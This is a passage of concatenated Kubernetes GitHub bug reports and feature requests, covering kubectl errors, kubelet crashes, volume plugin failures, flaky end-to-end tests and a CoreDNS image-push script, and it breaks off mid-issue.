i went to edit my deployment to add some resource requests:   kubectl edit deployment/mything   i set my resources and saved the file:      resources:   cpu: 100m   memory: 600mi      but got the unhelpful message:  > deployment \ mything\  skipped  the problem was that i had left out the  requests  object:      resources:   requests:     cpu: 100m     memory: 600mi      once i fixed this it deployed successfully, but it would have been nice to get a more descriptive error message.

right now there is a timestamp on the memorystats but not the fsstats.  in eviction we are using the timestamp to detect stats  or \ observations\  in eviction-speak  that have already been acted upon and just haven't been updated by cadvisor yet.  we need a timestamp on the fsstats as well so we can do the same stale-stat detection that we are doing for memory.  xref https://github.com/kubernetes/kubernetes/pull/32724  @derekwaynecarr @vishh

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : create service  ---    is this a bug report or feature request?    choose one : feature request  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.   if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see. https://bugzilla.redhat.com/show_bug.cgi?id=1377939  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :    environment  : -   cloud provider or hardware configuration  : -   os    e.g. from /etc/os-release : -   kernel    e.g.  uname -a  : -   install tools  : -   others  :    what happened  :    what you expected to happen  :    how to reproduce it    as minimally and precisely as possible :    anything else do we need to know  :

feature request  \r \r when deleting a service of type loadbalancer i would expect the gce network load balancer to get deleted as well.\r \r   kubernetes version  \r \r    \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:22:15z\ , goversion:\ go1.6.3\r \ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.7\ , gitcommit:\ 92b4f971662de9d8770f8dcd2ee01ec226a6f6c0\ , gittreestate:\ clean\ , builddate:\ 2016-12-10t04:43:42z\ , goversion:\ go1.6.3\r \ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   gke 1.4.7  :\r -   gci image  \r \r   what happened  :\r deleting a service of type loadbalancer leaves the network load balancer in place leading to unnecessary costs.\r \r   what you expected to happen  :\r that the network load balancer gets removed as well.

---\r \r   bug report  \r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : tested on both 1.6.2 and 1.5.3\r \r \r   environment  :\r -   cloud provider or hardware configuration  : cluster is on amazon aws, kubectl is running on docker-toolbox in windows  docker version 17.04.0-ce \r -   os    e.g. from /etc/os-release : alpine linux 3.5\r -   kernel    e.g.  uname -a  : linux 46c5dc4c327e 4.4.66-boot2docker  1 smp fri may 5 20:44:25 utc 2017 x86_64 linux\r \r \r   what happened  :\r we have an http proxy that has a whitelist of cas, and won't accept self-signed certificates.\r when using kubectl through this proxy to connect to our aws cluster, it fails even though we set  insecure-skip-tls-verify  to true in our kubeconfig file.\r \r  kubectl version  had the following output:\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ ,\r platform:\ linux/amd64\ }\r error from server  internalerror : an error on the server  \ ssl_server_cert_untrusted_issuer: your request contacted a host which presented a certificate signed by an untrusted issuer.\   has prevented the request from\r succeeding\r    \r \r \r   what you expected to happen  :\r kubectl should connect to our cluster successfully.\r \r   how to reproduce it    as minimally and precisely as possible :\r - set your  http_proxy  environment variable to the address of your proxy\r - set  insecure-skip-tls-verify  to true in your cluster entry in kubeconfig  and remove the certificate-authority-data field \r - call  kubectl version \r \r   anything else we need to know  :\r if we don't use a proxy, kubectl connects to our cluster as expected.\r this is the output of  kubectl version  without a proxy:\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ ,\r platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ ,\r platform:\ linux/amd64\ }\r    \r \r \r if instead we try to use our self-signed certificate to connect to our cluster using this proxy  with  insecure-skip-tls-verify  set to false , this is the output of  kubectl version :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ ,\r platform:\ linux/amd64\ }\r unable to connect to the server: x509: certificate signed by unknown authority\r    \r \r it would be nice if kubectl had a flag to ignore the error returned by the proxy and still proceed to connect to the cluster  such feature exists in many http libraries like libcurl .\r \r

this is a 1-6 to 1-7 upgrade failure.\r  /assign @bowei \r \r  jenkins link  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-6-cvm-1-7-upgrade-cluster/28 k8sio-networking-should-provide-unchanging-static-url-paths-for-kubernetes-api-services \r  history  https://k8s-testgrid.appspot.com/1.6-1.7-upgrade gke-cvm-upgrade-cluster&include-filter-by-regex=%5eoverall%24%7c%5c%5bk8s%5c.io%5c%5d%5c%20networking%5c%20should%5c%20provide%5c%20unchanging%5c%2c%5c%20static%5c%20url%5c%20paths%5c%20for%5c%20kubernetes%5c%20api%5c%20services \r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:74\r jun 19 12:37:12.824: failed: the server could not find the requested resource\r body: {\r   \ paths\ :  \r     \ /apis\ ,\r     \ /apis/\ ,\r     \ /apis/apiextensions.k8s.io\ ,\r     \ /apis/apiextensions.k8s.io/v1beta1\ ,\r     \ /metrics\ ,\r     \ /version\ \r    \r }\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:71\r    \r

 \r   what happened  :\r when running kubernetes against an installation of devstack which deploys the cinder service at a path rather than a port  ex: http://foo.bar/volume rather than http://foo.bar:xxx , the version detection fails.\r \r   what you expected to happen  :\r the version detection should never happen.  the best way to detect version is by using the openstack service catalog.  as per the  service types authority  http://specs.openstack.org/openstack/service-types-authority/ , the services will be labeled  cinder  for v1,  cinderv2  for v2 and  cinderv3  for v3.  this is the correct way of detecting the right cinder version.\r \r   how to reproduce it  as minimally and precisely as possible   :\r install devstack and attempt to launch a volume with kubernetes integrated to that cloud  or any cloud that runs cinder in a path.\r \r   anything else we need to know?  :\r there should never be a case where  cinder ,  cinderv2  and  cinderv3  don't give the right information as all major documentation  and installation tools  point to doing this:\r \r -  manual installation  https://docs.openstack.org/cinder/latest/install/cinder-controller-install-rdo.html \r -  puppet, tripleo  https://github.com/openstack/puppet-cinder/blob/master/manifests/keystone/auth.pp \r -  openstack ansible  https://github.com/openstack/openstack-ansible-os_cinder/blob/master/tasks/cinder_service_setup.yml \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.3\r - cloud provider or hardware configuration  : openstack clouds\r - os  e.g. from /etc/os-release : fedora atomic\r - kernel  e.g.  uname -a  : latest\r - install tools: magnum\r - others:\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r \r  informer-gen  currently defaults  internalclientsetpackage  to  k8s.io/kubernetes/pkg/client/clientset_generated/internalclientset   https://github.com/kubernetes/kubernetes/blob/e472a758c77e686e0849587b2b4eba0807e1f312/staging/src/k8s.io/code-generator/cmd/informer-gen/main.go , and as such requires that an internal clientset is provided when using  informer-gen  to create informers.\r \r   what you expected to happen  :\r \r when using crds, versioning is not currently supported and if it were, it'd likely not be done through code generation and submission to the apiserver. it\r \r i'd expect to be able to skip generating an internal informer for my api. looking at the code path, it seems we don't even need to differentiate between internal and external api versions in the generate. if i'm correct in this assumption, we could remove  versionedclientsetpackage  and  internalclientsetpackage  and replace it with a simple  clientsetpackage .\r \r i think i've seen that there's an omit to get rid of the 'special' status of the internal api version, and it seems this would help push us toward this goal!\r \r /cc @sttts @ncdc

we recently had 2 serious bugs caused by non-trivial logic calculating desiredreplicas in hpa reconcileautoscaler method   48997,  53690 . \r \r i think we should extract this part of logic  starting around https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/podautoscaler/horizontal.go l404  to a separate function and make sure it's covered with unittests for different possible edge condition. the logic itself takes a few ints as input  calculated desiredreplicas, min/max replicas, currentreplicas, ...  to produce a single integer value and set some status conditions, making it very easily unittestable if we extract it to a separate function.\r \r wdyt @mwielgus, @directxman12?

is this a bug report or feature request?  :\r  \r   what happened  :\r cloud cidr allocator controller can be queued with a node name, but when the node is up for evaluation, it may not exist. if the node doesn't exist, an error is logged and the node name is requeued.\r the controller has no error back-off policy and no exit logic for the node if it doesn't exist.  therefore, the log file will fill up and cause master issues.\r \r e0319 09:07:22.070194       1 cloud_cidr_allocator.go:198  failed to get node abc: node \ abc\  not found\r e0319 09:07:22.070206       1 cloud_cidr_allocator.go:198  failed to get node abc: node \ abc\  not found\r e0319 09:07:22.070219       1 cloud_cidr_allocator.go:198  failed to get node abc: node \ abc\  not found\r e0319 09:07:22.070231       1 cloud_cidr_allocator.go:198  failed to get node abc: node \ abc\  not found\r e0319 09:07:22.070244       1 cloud_cidr_allocator.go:198  failed to get node abc: node \ abc\  not found\r e0319 09:07:22.070258       1 cloud_cidr_allocator.go:198  failed to get node abc: node \ abc\  not found\r \r   what you expected to happen  :\r gracefully handle a missing node.\r exponential backoff on errors for a certain key.\r \r  /assign jingax10\r

failing job\r      sig-release-master-blocking: gci-gke-serial  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-serial \r \r    failing test\r       sig-autoscaling   hpa  horizontal pod autoscaling  scale resource: cpu   sig-autoscaling   serial   slow  replicationcontroller should scale from 5 pods to 3 pods and from 3 to 1 and verify decision stability  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/5631 \r \r    triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?date=2018-04-16&test=horizontal%5c%20pod%5c%20autoscaling%5c%20%5c scale%5c%20resource%3a%5c%20cpu%5c %5c%20%5c%5bsig%5c-autoscaling%5c%5d%5c%20%5c%5bserial%5c%5d%5c%20%5c%5bslow%5c%5d%5c%20replicationcontroller%5c%20should%5c%20scale%5c%20from%5c%205%5c%20pods%5c%20to%5c%203%5c%20pods%5c%20and%5c%20from%5c%203%5c%20to%5c%201%5c%20and%5c%20verify%5c%20decision%5c%20stability\r \r this test is generally flaky and has been failing pretty frequently off late. since this is in the sig-release-master-blocking, it affects our ability to gauge release readiness and might block release cuts. please investigate and fix at the earliest. @directxman12 can you please triage this issue and assign to the rightful owner.\r \r  / /  /milestone 1.11\r @kubernetes/sig-autoscaling-bugs \r \r cc @jberkus @tpepper \r \r /assign @directxman12 \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   bug report  :\r  \r \r   what happened  : i'm trying to use flexvolume + lvm plugin to attach these volumes dynamically to the container  inspired by https://github.com/kubernetes/examples/blob/master/staging/volumes/flexvolume/nginx.yaml  . the example config looks like this:\r \r    \r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: pv0003\r spec:\r   storageclassname: manual\r   capacity:\r     storage: 5gi\r   accessmodes:\r     - readwriteonce\r   flexvolume:\r     driver: \ kubernetes.io/lvm\ \r     fstype: \ ext4\ \r     options:\r       volumeid: \ nginx-data\ \r       size: \ 1000m\ \r       volumegroup: \ vg0\   \r ---\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: task-pv-claim\r spec:\r   storageclassname: manual\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 3gi\r ---\r kind: pod\r apiversion: v1\r metadata:\r   name: task-pv-pod\r spec:\r   volumes:\r     - name: task-pv-storage\r       persistentvolumeclaim:\r        claimname: task-pv-claim\r   containers:\r     - name: testdav-container\r       image: testdav\r       ports:\r         - containerport: 7777\r           hostport: 7777\r       volumemounts:\r         - mountpath: \ /webdav\ \r           name: task-pv-storage\r     - name: testenv-container\r       image: testenv\r       ports:\r         - containerport: 9999\r           hostport: 8888\r       volumemounts:\r         - mountpath: \ /data\ \r           name: task-pv-storage\r    \r \r i also tried different third party plugins  they are all put into  /usr/libexec/kubernetes/kubelet-plugins/volume/exec/  , with proper  plugin~lvm/lvm  naming. kubelet is running with  --enable-controller-attach-detach  option.\r \r almost all times i was getting the same error, no matter what plugin i use  built in plugin also gives the same :\r  kubelet 15843 : e0518 15:59:17.564507   15843 desired_state_of_world_populator.go:293  failed to add volume \ task-pv-storage\   specname: \ pv\r 0003\   for pod \ 310de043-5a9b-11e8-aff6-509a4c6838db\  to desiredstateofworld. err=failed to get plugin from volumespec for volume \ pv0003\  err=no volume plugin\r  matched \r \r   what you expected to happen  : pod is created and volume is mounted\r \r   how to reproduce it  as minimally and precisely as possible   :  just try to create flexvolume with an lvm plugin.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :  ubuntu 16.04.4 lts \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r   \r \r   what happened  :\r an error occured when i delete a job and then create a same one, error is:\r object is being deleted: jobs.batch \ xxxx\  already exists\r \r   what you expected to happen  :\r no error should happen\r \r   how to reproduce it  as minimally and precisely as possible   :\r delete a job, and then create a new one immediately. \r does it mean the delete action is async?\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

need to push the latest coredns image to gcr.io\r the 1.2.3 image is available in docker coredns/coredns:1.2.3\r \r \r this is the script used for pushing the image:\r \r    \r  !/bin/sh\r \r if   -z \ $1\  -o -z \ $2\  -o -z \ $3\  -o -z \ $4\   ; then\r     echo \ usage: $0 <src-reg> <image> <tag> <dst-reg>\  > /dev/stderr\r     echo \ example: $0 coredns coredns 1.2.3 staging-k8s.gcr.io\  > /dev/stderr\r     exit 1\r fi\r \r src_reg=\ $1\ \r img=\ $2\ \r tag=\ $3\ \r dst_reg=\ $4\ \r tmp=\ /tmp/$random\ \r json=\ $tmp.json\ \r \r echo \ fetching source manifest\ \r docker manifest inspect ${src_reg}/${img}:${tag} > ${json}\r \r echo\r echo \ pulling source images by sha\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ ${src_reg}/${img}@\\\ , .digest, \\\ \ \\\  \  \\\r     | while read x; do docker pull $x; done\r \r echo\r echo \ tagging images with arch and os\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ docker tag ${src_reg}/${img}@\\\ , .digest, \\\  ${dst_reg}/${img}:${tag}__\\\ , .platform.architecture, \\\ _\\\ , .platform.os, \\\ \ \\\ \  \\\r     | while read x; do $x; done\r \r echo\r echo \ pushing images\ \r cat ${json} \\\r     | jq -j \ .manifests   | \\\ gcloud docker -- push ${dst_reg}/${img}:${tag}__\\\ , .platform.architecture, \\\ _\\\ , .platform.os, \\\ \ \\\ \  \\\r     | while read x; do $x; done\r \r echo\r echo \ creating and pushing manifest\ \r platforms=$ cat ${json} | jq -j \ .manifests   | .platform.os, \\\ /\\\ , .platform.architecture, \\\ \ \\\ \  | paste -sd, \r echo manifest-tool push from-args \\\r     --platforms \ ${platforms}\  \\\r     --template ${dst_reg}/${img}:${tag}__arch_os \\\r     --target ${dst_reg}/${img}:${tag}\r manifest-tool push from-args \\\r     --platforms \ ${platforms}\  \\\r     --template ${dst_reg}/${img}:${tag}__arch_os \\\r     --target ${dst_reg}/${img}:${tag}\r    \r \r /cc @chrisohaver \r /cc @bentheelder\r /cc @timothysc\r /assign @thockin\r \r @fturib \r \r   

which jobs are failing  :\r pull-kubernetes-bazel-test\r \r   which test s  are failing  :\r bazel test //pkg/scheduler/internal/queue:go_default_test\r \r   since when has it been failing  :\r \r   testgrid link  :\r https://gubernator.k8s.io/build/kubernetes-jenkins/pr-logs/pull/72677/pull-kubernetes-bazel-test/72822/\r \r   reason for failure  :\r warning: data race\r read at 0x00c000230db0 by goroutine 47:\r   runtime.mapiterinit  \r       goroot/src/runtime/map.go:734 +0x0\r   k8s.io/kubernetes/pkg/scheduler/internal/queue.  priorityqueue .flushunschedulableqleftover  \r       pkg/scheduler/internal/queue/scheduling_queue.go:531 +0x17a\r   k8s.io/kubernetes/pkg/scheduler/internal/queue.  priorityqueue .flushunschedulableqleftover-fm  \r       pkg/scheduler/internal/queue/scheduling_queue.go:298 +0x41\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1  \r       staging/src/k8s.io/apimachinery/pkg/util/wait/wait.go:133 +0x61\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil  \r       staging/src/k8s.io/apimachinery/pkg/util/wait/wait.go:134 +0xce\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until  \r       staging/src/k8s.io/apimachinery/pkg/util/wait/wait.go:88 +0x5a\r \r previous write at 0x00c000230db0 by goroutine 45:\r   runtime.mapassign_faststr  \r       goroot/src/runtime/map_faststr.go:190 +0x0\r   k8s.io/kubernetes/pkg/scheduler/internal/queue.  unschedulablepodsmap .addorupdate  \r       pkg/scheduler/internal/queue/scheduling_queue.go:961 +0x30e\r   k8s.io/kubernetes/pkg/scheduler/internal/queue.testpriorityqueue_assignedpodadded  \r       pkg/scheduler/internal/queue/scheduling_queue_test.go:331 +0x601\r   testing.trunner  \r       goroot/src/testing/testing.go:827 +0x162\r \r goroutine 47  running  created at:\r   k8s.io/kubernetes/pkg/scheduler/internal/queue.  priorityqueue .run  \r       pkg/scheduler/internal/queue/scheduling_queue.go:298 +0x172\r   k8s.io/kubernetes/pkg/scheduler/internal/queue.newpriorityqueuewithclock  \r       pkg/scheduler/internal/queue/scheduling_queue.go:289 +0xe0b\r   k8s.io/kubernetes/pkg/scheduler/internal/queue.newpriorityqueue  \r       pkg/scheduler/internal/queue/scheduling_queue.go:266 +0x50\r   k8s.io/kubernetes/pkg/scheduler/internal/queue.testpriorityqueue_assignedpodadded  \r       pkg/scheduler/internal/queue/scheduling_queue_test.go:328 +0x5a5\r   testing.trunner  \r       goroot/src/testing/testing.go:827 +0x162\r \r goroutine 45  running  created at:\r   testing.  t .run  \r       goroot/src/testing/testing.go:878 +0x659\r   testing.runtests.func1  \r       goroot/src/testing/testing.go:1119 +0xa8\r   testing.trunner  \r       goroot/src/testing/testing.go:827 +0x162\r   testing.runtests  \r       goroot/src/testing/testing.go:1117 +0x4ee\r   testing.  m .run  \r       goroot/src/testing/testing.go:1034 +0x2ee\r   main.main  \r       bazel-out/k8-fastbuild/bin/pkg/scheduler/internal/queue/linux_amd64_race_stripped/go_default_test%/testmain.go:128 +0x2fb\r \r   anything else we need to know  :\r i'm very sorry about that.  unschedulablepodsmap is not thread-safe. in scheduling_queue.go, lock will be acquired before operating unschedulablepodsmap. but in scheduling_queue_test.go,  lock isn‘t be acquired. in the previous case,  only a single thread runs so it's ok. but after add goroutine  flushunschedulableqleftover , there will be data race. so i need to acquire lock before operating unschedulablepodsmap.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r   what happened  : i created a  pod  with  containerport: 9999  and a  service  with  targetport: 3000 . on that note, my application inside my  pod  should not work, but i can access it normally.\r \r   what you expected to happen  : not be able to access the application inside my  pod \r \r   how to reproduce it  as minimally and precisely as possible   :\r  client-pod.yaml :\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: client-pod\r   labels:\r     component: web\r spec:\r   containers: \r     - name: client\r       image: stephengrider/multi-client\r       ports:\r         - containerport: 9999\r    \r  client-node-port.yaml :\r    yaml\r apiversion: v1\r kind: service\r metadata:\r   name: client-node-port\r spec:\r   type: nodeport\r   ports:\r     - port: 3050\r       targetport: 3000\r       nodeport: 31515\r   selector:\r     component: web\r    \r \r    bash\r kubectl apply -f .\\client-node-port.yaml\r kubectl apply -f .\\client-pod.yaml\r minikube ip \r access minikubeip:31515\r    \r \r   anything else we need to know?  :\r \r by running  kubectl describe pods  you will be able to see:\r \r    yaml\r containers:\r   client:\r     container id:   docker://b515215033f9a7c223a4cb4727f8e1acced6f455ad02acd2f604e13809301ea3\r     image:          stephengrider/multi-client\r     image id:       docker-pullable://stephengrider/multi-client@sha256:855452509d6d9f13dbe1cd34fa3a21d7f6e7d1f0fafb38d1e715dda8e3d17f46\r     port:           9999/tcp\r    \r and by running  kubectl descrive services  you will see:\r    yaml\r name:                     client-node-port\r namespace:                default\r labels:                   <none>\r annotations:              kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ v1\ ,\ kind\ :\ service\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ client-node-port\ ,\ namespace\ :\ default\ },\ spec\ :{\ ports\ : {\ nodeport\ :31515,\ p...\r selector:                 component=web\r type:                     nodeport\r ip:                       10.108.209.125\r port:                     <unset>  3050/tcp\r targetport:               3000/tcp\r nodeport:                 <unset>  31515/tcp\r endpoints:                172.17.0.4:3000\r session affinity:         none\r external traffic policy:  cluster\r events:                   <none>\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    json\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.11\ , gitcommit:\ 637c7e288581ee40ab4ca210618a89a555b6e7e9\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t14:38:32z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.4\ , gitcommit:\ f49fa022dbe63faafd0da106ef7e05a29721d3f1\ , gittreestate:\ clean\ , builddate:\ 2018-12-14t06:59:37z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: not a server\r - os  e.g. from /etc/os-release : windows 10 64 bits + hyper v  10.0.17763.1  + minikube v0.32.0\r - kernel  e.g.  uname -a  :\r    bash\r os name:                   microsoft windows 10 pro\r os version:                10.0.17763 n/a build 17763\r    \r - install tools:  choco install minikube  and  choco install kubernetes-cli \r - others: created minikube vm by running:  minikube start --vm-driver hyperv --hyperv-virtual-switch \ primary virtual switch\  . more details can be found  here  https://medium.com/@jockdarock/minikube-on-windows-10-with-hyper-v-6ef0f4dc158c \r

what happened  :\r kubelet had crashed one one of the heavily loaded instances in aws ec2 cluster  r4.8xlarge . \r \r logs show the following traceback:\r    \r may  9 00:12:17 ip-10-117-0-156.eu-west-1.compute.internal kubelet: panic: runtime error: invalid memory address or nil pointer dereference\r may  9 00:12:17 ip-10-117-0-156.eu-west-1.compute.internal kubelet:  signal sigsegv: segmentation violation code=0x1 addr=0x40 pc=0x30de866 \r may  9 00:12:17 ip-10-117-0-156.eu-west-1.compute.internal kubelet: goroutine 249849634  running :\r may  9 00:12:17 ip-10-117-0-156.eu-west-1.compute.internal kubelet: k8s.io/kubernetes/pkg/kubelet/stats.cadvisorinfotocpuandmemorystats 0xc47b45ea00, 0xc44dd4b800, 0x0 \r may  9 00:12:17 ip-10-117-0-156.eu-west-1.compute.internal kubelet: /workspace/anago-v1.12.7-beta.0.58+6f482974b76db3/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/stats/helper.go:56 +0xa6\r may  9 00:12:17 ip-10-117-0-156.eu-west-1.compute.internal kubelet: k8s.io/kubernetes/pkg/kubelet/stats.cadvisorinfotocontainerstats 0xc42b5ba0c0, 0x7, 0xc47b45ea00, 0xc4516d5c80, 0xc4516d5d80, 0xc44dd4b780 \r may  9 00:12:17 ip-10-117-0-156.eu-west-1.compute.internal kubelet: /workspace/anago-v1.12.7-beta.0.58+6f482974b76db3/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/stats/helper.go:87 +0x100\r may  9 00:12:17 ip-10-117-0-156.eu-west-1.compute.internal kubelet: k8s.io/kubernetes/pkg/kubelet/stats.  cadvisorstatsprovider .listpodstats 0xc420f15f80, 0x0, 0x13b7169df9a3, 0x0, 0x0, 0xc454a62448 \r may  9 00:12:17 ip-10-117-0-156.eu-west-1.compute.internal kubelet: /workspace/anago-v1.12.7-beta.0.58+6f482974b76db3/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/stats/cadvisor_stats_provider.go:119 +0x810\r may  9 00:12:17 ip-10-117-0-156.eu-west-1.compute.internal kubelet: k8s.io/kubernetes/pkg/kubelet/metrics/collectors.  volumestatscollector .collect 0xc421446600, 0xc45b299620 \r may  9 00:12:17 ip-10-117-0-156.eu-west-1.compute.internal kubelet: /workspace/anago-v1.12.7-beta.0.58+6f482974b76db3/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/metrics/collectors/volume_stats.go:82 +0x4b\r may  9 00:12:17 ip-10-117-0-156.eu-west-1.compute.internal kubelet: k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus.  registry .gather.func2 0xc43f00e770, 0xc45b299620, 0x43e9980, 0xc421446600 \r may  9 00:12:17 ip-10-117-0-156.eu-west-1.compute.internal kubelet: /workspace/anago-v1.12.7-beta.0.58+6f482974b76db3/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus/registry.go:382 +0x61\r may  9 00:12:17 ip-10-117-0-156.eu-west-1.compute.internal kubelet: created by k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus.  registry .gather\r may  9 00:12:17 ip-10-117-0-156.eu-west-1.compute.internal kubelet: /workspace/anago-v1.12.7-beta.0.58+6f482974b76db3/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/prometheus/client_golang/prometheus/registry.go:380 +0x302\r    \r \r   what you expected to happen  :\r kubelet not to crash.\r \r   how to reproduce it  as minimally and precisely as possible   :\r reproduction unknown at this point.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : kubelet v.1.12.7; control plane v.1.12.8\r - cloud provider or hardware configuration: aws/ec2\r - os  e.g:  cat /etc/os-release  : centos linux release 7.6.1810  core \r - kernel  e.g.  uname -a  : 5.0.4-1.el7.elrepo.x86_64  non-standard kernel \r - install tools: custom-made\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r when a pvc is created and the pv mounted into a pod using the storageos in-tree volume driver, the storageos cli & ui do not report that the volume is mounted.  \r \r the pv is created and mounted into the pod successfully, and all k8s functionality works as expected.  however, since the correct mount status is not visible to administrators using the storageos ui or cli, they may make changes to or delete a mounted volume without realising, and the safeguards  must use  --force  to delete a mounted volume  do not trigger.\r \r this is a regression caused by https://github.com/kubernetes/kubernetes/pull/69782, released in 1.14.0.\r \r   what you expected to happen  :\r \r the storageos cli should report volume mount information  node name, mount timestamp .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. install storageos node containers with csi disabled: https://docs.storageos.com/docs/platforms/kubernetes/install/1.13\r 2. provision application pod with a pvc using the storageos storageclass: https://github.com/storageos/deploy/tree/master/k8s/examples/redis\r 3. run storageos to list 